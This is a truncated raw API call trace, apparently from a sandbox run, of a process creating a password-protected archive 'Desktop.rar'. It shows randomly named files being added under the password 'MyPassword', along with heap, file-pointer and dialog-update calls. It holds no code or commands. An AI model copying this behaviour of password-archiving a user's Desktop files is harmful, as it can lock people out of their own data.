[0063.797] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x36ea60 | out: hHeap=0x290000) returned 1 [0063.797] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd3c0*=0) returned 0x86b2fd [0063.797] CloseHandle (hObject=0x1b0) returned 1 [0063.797] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.797] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.797] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.797] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.797] FindFirstFileW (in: lpFileName="dfxuFxjX5YwdPMIH", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.797] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.798] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.798] GetTickCount () returned 0xa6647f [0063.798] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.798] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.798] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.798] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.798] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="xipMOvrpEcaMKsnrOoK.m4a") returned 23 [0063.798] SetWindowTextW (hWnd=0x10216, lpString="dfxuFxjX5YwdPMIH") returned 1 [0063.798] GetTickCount () returned 0xa6647f [0063.798] UpdateWindow (hWnd=0x1020e) returned 1 [0063.798] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.798] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.798] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb30 [0063.798] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb60 [0063.798] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb90 [0063.798] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb60 | out: hHeap=0x290000) returned 1 [0063.798] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb30 | out: hHeap=0x290000) returned 1 [0063.798] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c9fb00, Size=0x48) returned 0x34e390 [0063.798] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb90 | out: hHeap=0x290000) returned 1 [0063.798] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.798] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.798] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.798] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd650*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd650*=0) returned 0x86b2fd [0063.798] SetFilePointer (in: hFile=0x198, lDistanceToMove=47, lpDistanceToMoveHigh=0x1bd620*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd620*=0) returned 0x86b32c [0063.798] CryptUnprotectMemory (in: pDataIn=0x1bd4d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd4d0) returned 1 [0063.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd450, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.798] CryptUnprotectMemory (in: pDataIn=0x1bcfb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcfb0) returned 1 [0063.798] CryptUnprotectMemory (in: pDataIn=0x1bcfb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcfb0) returned 1 [0063.798] CryptUnprotectMemory (in: pDataIn=0x1bcfb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcfb0) returned 1 [0063.799] CryptProtectMemory (in: pDataIn=0x35532e, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x35532e) returned 1 [0063.799] SetFilePointer (in: hFile=0x198, lDistanceToMove=8827645, lpDistanceToMoveHigh=0x1bd610*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd610*=0) returned 0x86b2fd [0063.799] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9cf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9cf0*=0) returned 0x86b2fd [0063.799] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.799] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb30 [0063.799] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb60 [0063.799] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb90 [0063.799] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb60 | out: hHeap=0x290000) returned 1 [0063.799] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb30 | out: hHeap=0x290000) returned 1 [0063.799] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c9fb00, Size=0x48) returned 0x34e390 [0063.799] WriteFile (in: hFile=0x198, lpBuffer=0x34e393*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x1b8330, lpOverlapped=0x0 | out: lpBuffer=0x34e393*, lpNumberOfBytesWritten=0x1b8330*=0x2f, lpOverlapped=0x0) returned 1 [0063.799] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb90 | out: hHeap=0x290000) returned 1 [0063.799] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.799] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd610*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd610*=0) returned 0x86b32c [0063.799] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.799] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.799] FindFirstFileW (in: lpFileName="wfNksu nJRG5", lpFindFileData=0x1bc480 | out: lpFindFileData=0x1bc480) returned 0x3c72330 [0063.799] FindClose (in: hFindFile=0x3c72330 | out: hFindFile=0x3c72330) returned 1 [0063.799] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0063.799] GetTickCount () returned 0xa6647f [0063.799] GetWindowTextW (in: hWnd=0x1020e, lpString=0x1bd2e0, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0063.799] GetDlgItem (hDlg=0x1020e, nIDDlgItem=156) returned 0x10214 [0063.799] GetWindowTextW (in: hWnd=0x10214, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="adding") returned 6 [0063.799] GetDlgItem (hDlg=0x1020e, nIDDlgItem=155) returned 0x10216 [0063.799] GetWindowTextW (in: hWnd=0x10216, lpString=0x1bbe90, nMaxCount=2560 | out: lpString="dfxuFxjX5YwdPMIH") returned 16 [0063.799] SetWindowTextW (hWnd=0x10216, lpString="wfNksu nJRG5") returned 1 [0063.800] GetTickCount () returned 0xa6647f [0063.800] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.800] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.800] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb30 [0063.800] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb60 [0063.800] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb90 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb60 | out: hHeap=0x290000) returned 1 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb30 | out: hHeap=0x290000) returned 1 [0063.800] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c9fb00, Size=0x48) returned 0x34e390 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb90 | out: hHeap=0x290000) returned 1 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.800] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.800] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.800] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd650*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd650*=0) returned 0x86b32c [0063.800] SetFilePointer (in: hFile=0x198, lDistanceToMove=43, lpDistanceToMoveHigh=0x1bd620*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd620*=0) returned 0x86b357 [0063.800] CryptUnprotectMemory (in: pDataIn=0x1bd4d0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bd4d0) returned 1 [0063.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1bd450, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0063.800] CryptUnprotectMemory (in: pDataIn=0x1bceb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bceb0) returned 1 [0063.800] CryptUnprotectMemory (in: pDataIn=0x1bcfb0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1bcfb0) returned 1 [0063.800] CryptUnprotectMemory (in: pDataIn=0x1bd130, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1bd130) returned 1 [0063.800] SetFilePointer (in: hFile=0x198, lDistanceToMove=8827692, lpDistanceToMoveHigh=0x1bd610*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd610*=0) returned 0x86b32c [0063.800] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1b9cf0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1b9cf0*=0) returned 0x86b32c [0063.800] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb00 [0063.800] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb30 [0063.800] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb60 [0063.800] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x3c9fb90 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb60 | out: hHeap=0x290000) returned 1 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb30 | out: hHeap=0x290000) returned 1 [0063.800] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c9fb00, Size=0x48) returned 0x34e390 [0063.800] WriteFile (in: hFile=0x198, lpBuffer=0x34e393*, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0x1b8330, lpOverlapped=0x0 | out: lpBuffer=0x34e393*, lpNumberOfBytesWritten=0x1b8330*=0x2b, lpOverlapped=0x0) returned 1 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9fb90 | out: hHeap=0x290000) returned 1 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x34e390 | out: hHeap=0x290000) returned 1 [0063.800] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd610*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd610*=0) returned 0x86b357 [0063.800] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 0 [0063.800] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.800] PeekMessageW (in: lpMsg=0x1bd620, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd620) returned 0 [0063.800] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0063.800] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x7de0040 | out: hHeap=0x290000) returned 1 [0064.029] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3dd0040 | out: hHeap=0x290000) returned 1 [0065.368] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x38b930 | out: hHeap=0x290000) returned 1 [0065.368] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3ac8090 | out: hHeap=0x290000) returned 1 [0065.368] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x8df0040 | out: hHeap=0x290000) returned 1 [0065.371] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x8f00040 | out: hHeap=0x290000) returned 1 [0065.572] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3b480a0 | out: hHeap=0x290000) returned 1 [0065.572] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3b880b0 | out: hHeap=0x290000) returned 1 [0065.576] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x9f10040 | out: hHeap=0x290000) returned 1 [0065.849] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0xbb20040 | out: hHeap=0x290000) returned 1 [0065.861] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c19160 | out: hHeap=0x290000) returned 1 [0065.861] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c21200 | out: hHeap=0x290000) returned 1 [0065.862] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c292a0 | out: hHeap=0x290000) returned 1 [0065.957] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c31340 | out: hHeap=0x290000) returned 1 [0065.957] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0xbf30040 | out: hHeap=0x290000) returned 1 [0065.964] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.976] WaitForSingleObject (hHandle=0x1d0, dwMilliseconds=0xffffffff) returned 0x0 [0065.976] CloseHandle (hObject=0x1d0) returned 1 [0065.976] WaitForSingleObject (hHandle=0x1d4, dwMilliseconds=0xffffffff) returned 0x0 [0065.976] CloseHandle (hObject=0x1d4) returned 1 [0065.976] WaitForSingleObject (hHandle=0x1d8, dwMilliseconds=0xffffffff) returned 0x0 [0065.976] CloseHandle (hObject=0x1d8) returned 1 [0065.976] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0xffffffff) returned 0x0 [0065.976] CloseHandle (hObject=0x1dc) returned 1 [0065.976] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x1e0) returned 1 [0065.977] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x1e4) returned 1 [0065.977] WaitForSingleObject (hHandle=0x1e8, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x1e8) returned 1 [0065.977] WaitForSingleObject (hHandle=0x1ec, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x1ec) returned 1 [0065.977] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x1f0) returned 1 [0065.977] WaitForSingleObject (hHandle=0x1f4, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x1f4) returned 1 [0065.977] WaitForSingleObject (hHandle=0x1f8, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x1f8) returned 1 [0065.977] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x1fc) returned 1 [0065.977] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x200) returned 1 [0065.977] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x204) returned 1 [0065.977] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x208) returned 1 [0065.977] WaitForSingleObject (hHandle=0x20c, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x20c) returned 1 [0065.977] WaitForSingleObject (hHandle=0x210, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x210) returned 1 [0065.977] WaitForSingleObject (hHandle=0x214, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x214) returned 1 [0065.977] WaitForSingleObject (hHandle=0x218, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x218) returned 1 [0065.977] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x21c) returned 1 [0065.977] WaitForSingleObject (hHandle=0x220, dwMilliseconds=0xffffffff) returned 0x0 [0065.977] CloseHandle (hObject=0x220) returned 1 [0065.978] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x224) returned 1 [0065.978] WaitForSingleObject (hHandle=0x228, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x228) returned 1 [0065.978] WaitForSingleObject (hHandle=0x22c, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x22c) returned 1 [0065.978] WaitForSingleObject (hHandle=0x230, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x230) returned 1 [0065.978] WaitForSingleObject (hHandle=0x234, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x234) returned 1 [0065.978] WaitForSingleObject (hHandle=0x238, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x238) returned 1 [0065.978] WaitForSingleObject (hHandle=0x23c, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x23c) returned 1 [0065.978] WaitForSingleObject (hHandle=0x240, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x240) returned 1 [0065.978] WaitForSingleObject (hHandle=0x244, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x244) returned 1 [0065.978] WaitForSingleObject (hHandle=0x248, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x248) returned 1 [0065.978] WaitForSingleObject (hHandle=0x24c, dwMilliseconds=0xffffffff) returned 0x0 [0065.978] CloseHandle (hObject=0x24c) returned 1 [0065.978] CloseHandle (hObject=0x1a0) returned 1 [0065.978] CloseHandle (hObject=0x1a4) returned 1 [0065.978] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x359290 | out: hHeap=0x290000) returned 1 [0065.978] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3cc0040 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c97930 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c9f940 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c8b910 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c83450 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c83900 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c835e0 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c7b440 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x38fdd0 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c73430 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c732a0 | out: hHeap=0x290000) returned 1 [0065.982] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c5f640 | out: hHeap=0x290000) returned 1 [0065.984] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c83770 | out: hHeap=0x290000) returned 1 [0065.984] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c57630 | out: hHeap=0x290000) returned 1 [0065.984] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x35c6e0 | out: hHeap=0x290000) returned 1 [0065.984] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3c4f620 | out: hHeap=0x290000) returned 1 [0065.985] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2996790 | out: hHeap=0x290000) returned 1 [0065.985] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x293fde0 | out: hHeap=0x290000) returned 1 [0065.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x385600 | out: hHeap=0x290000) returned 1 [0065.987] ReleaseSemaphore (in: hSemaphore=0x1a8, lReleaseCount=32, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0065.987] CloseHandle (hObject=0x1a8) returned 1 [0065.987] CloseHandle (hObject=0x1ac) returned 1 [0065.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3595f0 | out: hHeap=0x290000) returned 1 [0065.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x3ac0080 | out: hHeap=0x290000) returned 1 [0065.987] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x298e780 | out: hHeap=0x290000) returned 1 [0065.988] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x297fdf0 | out: hHeap=0x290000) returned 1 [0065.988] GetTickCount () returned 0xa66d17 [0065.988] GetLastError () returned 0x0 [0065.988] SetLastError (dwErrCode=0x0) [0065.988] GetDlgItem (hDlg=0x1020e, nIDDlgItem=158) returned 0x1021a [0065.988] GetDlgItem (hDlg=0x1020e, nIDDlgItem=153) returned 0x10218 [0065.988] GetWindowTextW (in: hWnd=0x10218, lpString=0x1bbd70, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.988] SetWindowTextW (hWnd=0x10218, lpString=" 0%") returned 1 [0065.989] SendMessageW (hWnd=0x1021a, Msg=0x402, wParam=0x0, lParam=0x0) returned 0x64 [0065.989] QueryPerformanceCounter (in: lpPerformanceCount=0x1bd5f0 | out: lpPerformanceCount=0x1bd5f0*=91624477958) returned 1 [0065.989] GetTickCount () returned 0xa66d17 [0065.989] GetLastError () returned 0x0 [0065.989] SetLastError (dwErrCode=0x0) [0065.989] GetDlgItem (hDlg=0x1020e, nIDDlgItem=154) returned 0x10220 [0065.990] GetWindowTextW (in: hWnd=0x10220, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="00:13:02") returned 8 [0065.990] SetWindowTextW (hWnd=0x10220, lpString="00:13:04") returned 1 [0065.990] GetTickCount () returned 0xa66d17 [0065.990] GetLastError () returned 0x0 [0065.990] SetLastError (dwErrCode=0x0) [0065.990] GetDlgItem (hDlg=0x1020e, nIDDlgItem=151) returned 0x10224 [0065.990] GetWindowTextW (in: hWnd=0x10224, lpString=0x1bc1d0, nMaxCount=2560 | out: lpString="00:00:00") returned 8 [0065.990] GetTickCount () returned 0xa66d17 [0065.990] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1bd1a8 | out: ppv=0x1bd1a8*=0x299d880) returned 0x0 [0065.990] TaskbarList:ITaskbarList3:SetProgressState (This=0x299d880, hwnd=0x1020e, tbpFlags=2) returned 0x0 [0065.990] TaskbarList:ITaskbarList3:SetProgressValue (This=0x299d880, hwnd=0x1020e, ullCompleted=0x954fe3, ullTotal=0x954fe3) returned 0x0 [0065.990] TaskbarList:IUnknown:Release (This=0x299d880) returned 0x0 [0065.990] GetLastError () returned 0x36b7 [0065.990] SetLastError (dwErrCode=0x36b7) [0065.990] GetDlgItem (hDlg=0x1020e, nIDDlgItem=157) returned 0x10230 [0065.990] GetDlgItem (hDlg=0x1020e, nIDDlgItem=152) returned 0x1022e [0065.990] GetWindowTextW (in: hWnd=0x1022e, lpString=0x1bbd70, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0065.990] GetLastError () returned 0x36b7 [0065.991] SetLastError (dwErrCode=0x36b7) [0065.991] GetDlgItem (hDlg=0x1020e, nIDDlgItem=164) returned 0x1022a [0065.991] GetWindowTextW (in: hWnd=0x1022a, lpString=0x1bbd70, nMaxCount=2560 | out: lpString=" 89%") returned 5 [0065.991] SetWindowTextW (hWnd=0x1022a, lpString=" 90%") returned 1 [0065.991] SendMessageW (hWnd=0x10230, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0065.992] PeekMessageW (in: lpMsg=0x1bd6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1bd6c0) returned 1 [0065.992] GetMessageW (in: lpMsg=0x1bd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1bd650) returned 1 [0065.992] GetFocus () returned 0x10232 [0065.992] IsDialogMessageW (hDlg=0x1020e, lpMsg=0x1bd650) returned 1 [0065.992] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd610*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1bd610*=0) returned 0x86b357 [0065.993] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bd640*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bd640*=0) returned 0x86b357 [0065.993] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x20) returned 0x299d880 [0065.993] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x299d880, Size=0x73) returned 0x299e2c0 [0065.993] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x299e2c0, Size=0xaf) returned 0x299ff10 [0065.993] SetFilePointer (in: hFile=0x198, lDistanceToMove=8, lpDistanceToMoveHigh=0x1bd610*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1bd610*=0) returned 0x8 [0065.993] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, 